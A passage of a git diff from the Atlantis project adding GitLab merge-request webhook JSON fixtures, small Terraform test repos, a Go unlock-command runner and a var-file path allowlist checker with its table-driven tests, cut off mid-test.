"https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [ + 255 + ], + "state": "opened", + "action": "update" + }, + "labels": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ], + "changes": { + "description": { + "previous": "New description", + "current": "New description aaaa" + }, + "last_edited_at": { + "previous": "2020-12-08 04:05:16 UTC", + "current": "2020-12-08 04:11:57 UTC" + }, + "title": { + "previous": "Add new file", + "current": "Add new file (another time)" + }, + "updated_at": { + "previous": "2020-12-08 04:07:34 UTC", + "current": "2020-12-08 04:11:57 UTC" + }, + "assignees": { + "previous": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ], + "current": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + }, + "assignees": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-new-commit.json b/server/events/testdata/gitlab-merge-request-event-update-new-commit.json new file mode 100644 index 0000000000..11c26b6e1f --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-new-commit.json @@ -0,0 +1,149 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": 255, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description aaaa", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:11:57 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "unchecked", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file (another time)", + "updated_at": "2020-12-08 04:15:39 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "5ff66a1f7404deee915b50998c340e96d995f048", + "message": "New commit\n", + "title": "New commit", + "timestamp": "2020-12-08T11:15:30+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/5ff66a1f7404deee915b50998c340e96d995f048", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [ + 255 + ], + "state": "opened", + "action": "update", + "oldrev": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7" + }, + "labels": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ], + "changes": { + "updated_at": { + "previous": "2020-12-08 04:11:57 UTC", + "current": "2020-12-08 04:15:39 UTC" + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + }, + "assignees": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-reviewer.json b/server/events/testdata/gitlab-merge-request-event-update-reviewer.json new file mode 100644 index 0000000000..04f255db2a --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-reviewer.json @@ -0,0 +1,164 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + }, + "project": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 2, + "created_at": "2023-07-02 15:59:31 UTC", + "description": "", + "head_pipeline_id": 8, + "id": 3, + "iid": 3, + "last_edited_at": null, + "last_edited_by_id": null, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "sheather-cloudfront-patch-92417", + "source_project_id": 2, + "state_id": 1, + "target_branch": "cloudfront", + "target_project_id": 2, + "time_estimate": 0, + "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", + "updated_at": "2023-07-02 16:49:20 UTC", + "updated_by_id": 2, + "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", + "source": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "target": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "last_commit": { + "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", + "message": "Update main.tf", + "title": "Update main.tf", + "timestamp": "2023-07-02T16:33:22+00:00", + "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", + "author": { + "name": "Simon Heather", + "email": "[REDACTED]" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "time_change": 0, + "human_total_time_spent": null, + "human_time_change": null, + "human_time_estimate": null, + "assignee_ids": [ + + ], + "reviewer_ids": [ + 2 + ], + "labels": [ + + ], + "state": "opened", + "blocking_discussions_resolved": true, + "first_contribution": false, + "detailed_merge_status": "ci_must_pass", + "action": "update" + }, + "labels": [ + + ], + "changes": { + "updated_at": { + "previous": "2023-07-02 16:33:56 UTC", + "current": "2023-07-02 16:49:20 UTC" + }, + "reviewers": { + "previous": [ + + ], + "current": [ + { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + } + ] + } + }, + "repository": { + "name": "test", + "url": "git@gitlab.lan:sheather/test.git", + "description": null, + "homepage": "https://gitlab.lan/sheather/test" + }, + "reviewers": [ + { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + } + ] + } diff --git a/server/events/testdata/gitlab-merge-request-event-update-target-branch.json b/server/events/testdata/gitlab-merge-request-event-update-target-branch.json new file mode 100644 index 0000000000..3ddd7a0947 --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-target-branch.json @@ -0,0 +1,149 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": 19, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:05:16 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "unchecked", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "demo-1", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file", + "updated_at": "2020-12-08 04:07:12 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [ + 19, + 255 + ], + "state": "opened", + "action": "update" + }, + "labels": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ], + "changes": { + "merge_status": { + "previous": "can_be_merged", + "current": "unchecked" + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + }, + "assignees": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-title.json b/server/events/testdata/gitlab-merge-request-event-update-title.json new file mode 100644 index 0000000000..3ad15fa89f --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-title.json @@ -0,0 +1,141 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "description", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:04:56 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file", + "updated_at": "2020-12-08 04:04:56 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [], + "state": "opened", + "action": "update" + }, + "labels": [], + "changes": { + "last_edited_at": { + "previous": null, + "current": "2020-12-08 04:04:56 UTC" + }, + "last_edited_by_id": { + "previous": null, + "current": 255 + }, + "title": { + "previous": "Add abc.txt", + "current": "Add new file" + }, + "updated_at": { + "previous": "2020-12-08 04:04:23 UTC", + "current": "2020-12-08 04:04:56 UTC" + }, + "updated_by_id": { + "previous": null, + "current": 255 + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + } +} diff --git a/server/events/testdata/gitlab-merge-request-event.json b/server/events/testdata/gitlab-merge-request-event.json index 8c27cfd34a..60be8d9726 100644 --- a/server/events/testdata/gitlab-merge-request-event.json +++ b/server/events/testdata/gitlab-merge-request-event.json @@ -17,7 +17,7 @@ "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", @@ -46,7 +46,7 @@ "source_branch": "patch-1", "source_project_id": 4580910, "state": "opened", - "target_branch": "master", + "target_branch": "main", "target_project_id": 4580910, "time_estimate": 0, "title": "Update main.tf", @@ -64,7 +64,7 @@ "namespace": "sourceorg", "visibility_level": 20, "path_with_namespace": "sourceorg/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/sourceorg/atlantis-example", "url": "git@gitlab.com:sourceorg/atlantis-example.git", @@ -82,7 +82,7 @@ "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", @@ -146,7 +146,7 @@ }, "target_branch": { "previous": null, - "current": "master" + "current": "main" }, "target_project_id": { "previous": null, diff --git a/server/events/testdata/test-repos/cloud-block-without-workspace-name/main.tf b/server/events/testdata/test-repos/cloud-block-without-workspace-name/main.tf new file mode 100644 index 0000000000..c03a63b4b0 --- /dev/null +++ b/server/events/testdata/test-repos/cloud-block-without-workspace-name/main.tf @@ -0,0 +1,9 @@ +terraform { + required_version = ">=1.2" + cloud { + organization = "atlantis-test" + workspaces { + tags = ["example", "tag"] + } + } +} diff --git a/server/events/testdata/test-repos/no-cloud-block/main.tf b/server/events/testdata/test-repos/no-cloud-block/main.tf new file mode 100644 index 0000000000..0ad01479d5 --- /dev/null +++ b/server/events/testdata/test-repos/no-cloud-block/main.tf @@ -0,0 +1,3 @@ +terraform { + required_version = ">=1.2" +} diff --git a/server/events/testdata/test-repos/workspace-configured/main.tf b/server/events/testdata/test-repos/workspace-configured/main.tf new file mode 100644 index 0000000000..6c7e56098d --- /dev/null +++ b/server/events/testdata/test-repos/workspace-configured/main.tf @@ -0,0 +1,9 @@ +terraform { + required_version = ">=1.2" + cloud { + organization = "atlantis-test" + workspaces { + name = "test-workspace" + } + } +} diff --git a/server/events/unlock_command_runner.go b/server/events/unlock_command_runner.go new file mode 100644 index 0000000000..af360adf83 --- /dev/null +++ b/server/events/unlock_command_runner.go @@ -0,0 +1,77 @@ +package events + +import ( + "slices" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +func NewUnlockCommandRunner( + deleteLockCommand DeleteLockCommand, + vcsClient vcs.Client, + SilenceNoProjects bool, + DisableUnlockLabel string, +) *UnlockCommandRunner { + return &UnlockCommandRunner{ + deleteLockCommand: deleteLockCommand, + vcsClient: vcsClient, + SilenceNoProjects: SilenceNoProjects, + DisableUnlockLabel: DisableUnlockLabel, + } +} + +type UnlockCommandRunner struct { + vcsClient vcs.Client + deleteLockCommand DeleteLockCommand + // SilenceNoProjects is whether Atlantis should respond to PRs if no projects + // are found + SilenceNoProjects bool + DisableUnlockLabel string +} + +func (u *UnlockCommandRunner) Run(ctx *command.Context, _ *CommentCommand) { + baseRepo := ctx.Pull.BaseRepo + pullNum := ctx.Pull.Num + disableUnlockLabel := u.DisableUnlockLabel + + ctx.Log.Info("Unlocking all locks") + vcsMessage := "All Atlantis locks for this PR have been unlocked and plans discarded" + + var hasLabel bool + var err error + if disableUnlockLabel != "" { + var labels []string + labels, err = u.vcsClient.GetPullLabels(ctx.Log, baseRepo, ctx.Pull) + if err != nil { + vcsMessage = "Failed to retrieve PR labels... Not unlocking" + ctx.Log.Err("Failed to retrieve PR labels for pull %s", err.Error()) + } + hasLabel = slices.Contains(labels, disableUnlockLabel) + if hasLabel { + vcsMessage = "Not allowed to unlock PR with " + disableUnlockLabel + " label" + ctx.Log.Info("Not allowed to unlock PR with %v label", disableUnlockLabel) + } + } + + var numLocks int + if err == nil && !hasLabel { + numLocks, err = u.deleteLockCommand.DeleteLocksByPull(ctx.Log, baseRepo.FullName, pullNum) + if err != nil { + vcsMessage = "Failed to delete PR locks" + ctx.Log.Err("failed to delete locks by pull %s", err.Error()) + } + } + + // if there are no locks to delete, no errors, and SilenceNoProjects is enabled, don't comment + if err == nil && numLocks == 0 { + ctx.Log.Info("No locks to delete") + if u.SilenceNoProjects { + return + } + } + + if commentErr := u.vcsClient.CreateComment(ctx.Log, baseRepo, pullNum, vcsMessage, command.Unlock.String()); commentErr != nil { + ctx.Log.Err("unable to comment: %s", commentErr) + } +} diff --git a/server/events/var_file_allowlist_checker.go b/server/events/var_file_allowlist_checker.go new file mode 100644 index 0000000000..61e7cc691b --- /dev/null +++ b/server/events/var_file_allowlist_checker.go @@ -0,0 +1,77 @@ +package events + +import ( + "fmt" + "path/filepath" + "strings" + + "github.com/pkg/errors" +) + +// VarFileAllowlistChecker implements checking if paths are allowlisted to be used with +// this Atlantis. +type VarFileAllowlistChecker struct { + rules []string +} + +// NewVarFileAllowlistChecker constructs a new checker and validates that the +// allowlist isn't malformed. +func NewVarFileAllowlistChecker(allowlist string) (*VarFileAllowlistChecker, error) { + var rules []string + paths := strings.Split(allowlist, ",") + if paths[0] != "" { + for _, path := range paths { + absPath, err := filepath.Abs(path) + if err != nil { + return nil, errors.Wrap(err, fmt.Sprintf("converting allowlist %q to absolute path", path)) + } + rules = append(rules, absPath) + } + } + return &VarFileAllowlistChecker{ + rules: rules, + }, nil +} + +func (p *VarFileAllowlistChecker) Check(flags []string) error { + for i, flag := range flags { + var path string + if i < len(flags)-1 && flag == "-var-file" { + // Flags are in the format of []{"-var-file", "my-file.tfvars"} + path = flags[i+1] + } else { + flagSplit := strings.Split(flag, "=") + // Flags are in the format of []{"-var-file=my-file.tfvars"} + if len(flagSplit) == 2 && flagSplit[0] == "-var-file" { + path = flagSplit[1] + } + } + + if path != "" && !p.isAllowedPath(path) { + return fmt.Errorf("var file path %s is not allowed by the current allowlist: [%s]", + path, strings.Join(p.rules, ", ")) + } + } + return nil +} + +func (p *VarFileAllowlistChecker) isAllowedPath(path string) bool { + path = filepath.Clean(path) + + // If the path is within the repo directory, return true without checking the rules. + if !filepath.IsAbs(path) { + if !strings.HasPrefix(path, "..") && !strings.HasPrefix(path, "~") { + return true + } + } + + // Check the path against the rules. + for _, rule := range p.rules { + rel, err := filepath.Rel(rule, path) + if err == nil && !strings.HasPrefix(rel, "..") { + return true + } + } + + return false +} diff --git a/server/events/var_file_allowlist_checker_test.go b/server/events/var_file_allowlist_checker_test.go new file mode 100644 index 0000000000..10eb38b360 --- /dev/null +++ b/server/events/var_file_allowlist_checker_test.go @@ -0,0 +1,128 @@ +package events_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/events" + . "github.com/runatlantis/atlantis/testing" +) + +func TestVarFileAllowlistChecker_IsAllowlisted(t *testing.T) { + cases := []struct { + Description string + Allowlist string + Flags []string + ExpErr string + }{ + { + "Empty Allowlist, no var file", + "", + []string{""}, + "", + }, + { + "Empty Allowlist, single var file under the repo directory", + "", + []string{"-var-file=test.tfvars"}, + "", + }, + { + "Empty Allowlist, single var file under the repo directory, specified in separate flags", + "", + []string{"-var-file", "test.tfvars"}, + "", + }, + { + "Empty Allowlist, single var file under the subdirectory of the repo directory", + "", + []string{"-var-file=sub/test.tfvars"}, + "", + }, + { + "Empty Allowlist, single var file outside the repo directory", + "", + []string{"-var-file=/path/to/file"}, + "var file path /path/to/file is not allowed by the current allowlist: []", + }, + { + "Empty Allowlist, single var file under the parent directory of the repo directory", + "", + []string{"-var-file=../test.tfvars"}, + "var file path ../test.tfvars is not allowed by the current allowlist: []", + }, + { + "Empty Allowlist, single var file under the home directory", + "", + []string{"-var-file=~/test.tfvars"}, + "var file path ~/test.tfvars is not allowed by the current allowlist: []", + }, + { + "Single path in allowlist, no var file", + "/path", + []string{""}, + "", + }, + { + "Single path in allowlist, single var file under the repo directory", + "/path", + []string{"-var-file=test.tfvars"}, + "", + }, + { + "Single path in allowlist, single var file under the allowlisted directory", + "/path", + []string{"-var-file=/path/test.tfvars"}, + "", + }, + { + "Single path with ending slash in allowlist, single var file under the allowlisted directory", + "/path/", + []string{"-var-file=/path/test.tfvars"}, + "", + }, + { + "Single path in allowlist, single var file in the parent directory of the repo directory", + "/path", + []string{"-var-file=../test.tfvars"}, + "var file path ../test.tfvars is not allowed by the current allowlist: [/path]", + }, + { + "Single path in allowlist, single var file outside the allowlisted directory", + "/path", + []string{"-var-file=/path_not_allowed/test.tfvars"}, + "var file path /path_not_allowed/test.tfvars is not allowed by the current allowlist: [/path]", + }, + { + "Single path in allowlist, single var file in the parent directory of the allowlisted directory", + "/path", + []string{"-var-file=/test.tfvars"}, + "var file path /test.tfvars is not allowed by the current allowlist: [/path]", + }, + { + "Root path in allowlist, with multiple var files", + "/", + []string{"-var-file=test.tfvars", "-var-file=/path/test.tfvars", "-var-file=/test.tfvars"}, + "", + }, + { + "Multiple paths in 